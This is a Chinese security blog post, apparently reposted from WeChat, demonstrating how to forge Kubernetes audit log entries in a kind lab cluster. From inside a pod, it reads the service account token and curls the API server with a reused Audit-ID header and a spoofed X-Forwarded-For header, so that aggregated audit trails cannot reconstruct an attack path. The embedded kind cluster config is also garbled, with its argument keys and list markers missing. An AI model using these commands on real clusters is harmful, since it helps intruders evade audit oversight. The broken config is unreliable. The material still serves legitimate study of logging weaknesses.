环境搭建
kind 创建实验集群,audit_policy.yaml
需存放在物理机 /root/k8s_audit/
目录下,yaml 内容如下,
apiVersion: audit.k8s.io/v1 # This is required.
kind: Policy
# Don't generate audit events for all requests in RequestReceived stage.
omitStages:
- "RequestReceived"
rules:
# Log pod changes at RequestResponse level
- level: RequestResponse
resources:
- group: ""
# Resource "pods" doesn't match requests to any subresource of pods,
# which is consistent with the RBAC policy.
resources: ["pods"]
# Log "pods/log", "pods/status" at Metadata level
- level: Metadata
resources:
- group: ""
resources: ["pods/log", "pods/status"]
# Don't log requests to a configmap called "controller-leader"
- level: None
resources:
- group: ""
resources: ["configmaps"]
resourceNames: ["controller-leader"]
# Don't log watch requests by the "system:kube-proxy" on endpoints or services
- level: None
users: ["system:kube-proxy"]
verbs: ["watch"]
resources:
- group: "" # core API group
resources: ["endpoints", "services"]
# Don't log authenticated requests to certain non-resource URL paths.
- level: None
userGroups: ["system:authenticated"]
nonResourceURLs:
- "/api*" # Wildcard matching.
- "/version"
# Log the request body of configmap changes in kube-system.
- level: Request
resources:
- group: "" # core API group
resources: ["configmaps"]
# This rule only applies to resources in the "kube-system" namespace.
# The empty string "" can be used to select non-namespaced resources.
namespaces: ["kube-system"]
# Log configmap and secret changes in all other namespaces at the Metadata level.
- level: Metadata
resources:
- group: "" # core API group
resources: ["secrets", "configmaps"]
# Log all other resources in core and extensions at the Request level.
- level: Request
resources:
- group: "" # core API group
- group: "extensions" # Version of group should NOT be included.
# A catch-all rule to log all other requests at the Metadata level.
- level: Metadata
# Long-running requests like watches that fall under this rule will not
# generate an audit event in RequestReceived.
omitStages:
- "RequestReceived"
在物理机中运行下方命令来创建集群环境,
docker pull kindest/node:v1.27.1
kind create cluster --config - --image kindest/node:v1.27.1 <<EOF
kind: Cluster
apiVersion: kind.x-k8s.io/v1alpha4
nodes:
role: control-plane
kubeadmConfigPatches:
|
apiVersion: kubeadm.k8s.io/v1beta3
kind: ClusterConfiguration
metadata:
name: config
apiServer:
extraArgs:
"/auditing/audit_policy.yaml" :
"/auditing/audit.log" :
extraVolumes:
name: "auditing"
hostPath: "/auditing"
mountPath: "/auditing"
readOnly: false
pathType: "Directory"
extraMounts:
hostPath: /root/k8s_audit/
containerPath: /auditing
propagation: None
EOF
进入节点中,可以查看到审核日志,
创建一个 Pod,
kind load docker-image --name kind alpine:latest
kubectl run test-pod --image=docker.io/library/alpine:latest --restart=Always --image-pull-policy=IfNotPresent --command -- /bin/sh -c "while true; do sleep 3600; done"
伪造 Audit ID
Audit ID 可以由客户端指定,因此不可靠,问题在于K8S本质上信任客户端提供的 Audit ID,在集群内部并不会有太大问题,但如果外部系统根据 Audit ID 聚合或删除重复数据审计事件,攻击者就可以借此通过重复使用 Audit ID 来掩盖其恶意行为和攻击路径,详情可看:https://github.com/kubernetes/kubernetes/issues/101597
进入 test-pod,
sed -i 's/dl-cdn.alpinelinux.org/mirrors.ustc.edu.cn/g' /etc/apk/repositories
apk add curl
env | grep KUBERNETES_SERVICE_HOST
export TOKEN=$(cat /var/run/secrets/kubernetes.io/serviceaccount/token)
curl -s -k -H "Audit-ID: 11111111-aeff-4d18-8add-fec2289ef296" -H "Authorization: Bearer $TOKEN" https://10.96.0.1:443/api/v1/pods/
查看节点上的审计日志,成功伪造 Audit ID,
攻击者只要在整个攻击过程中使用同一个 Audit-ID 并保证 开始或最后 一次是无害的请求,那么根据 Audit ID 聚合或删除重复数据审计事件的外部系统就无法还原整个攻击路径。
https://github.com/kubernetes/kubernetes/blob/622509830c1038535e539f7d364f5cd7c3b38791/staging/src/k8s.io/apiserver/pkg/apis/audit/types.go#L29
伪造源 IP
X-Forwarded-For、X-Real-IP 都可以伪造,
export TOKEN=$(cat /var/run/secrets/kubernetes.io/serviceaccount/token)
curl -s -k -H "X-Forwarded-For: 10.96.0.1" -H "Audit-ID: 11111111-aeff-4d18-8add-fec2289ef296" -H "Authorization: Bearer $TOKEN" https://10.96.0.1:443/api/v1/pods/
https://github.com/kubernetes/kubernetes/blob/622509830c1038535e539f7d364f5cd7c3b38791/staging/src/k8s.io/apiserver/pkg/apis/audit/types.go#L108
参考文章
https://github.com/raesene/k8s_audit/
原文始发于微信公众号(安全小将李坦然):伪造 Kubernetes 审计日志
- 左青龙
- 微信扫一扫
-
- 右白虎
- 微信扫一扫
-
评论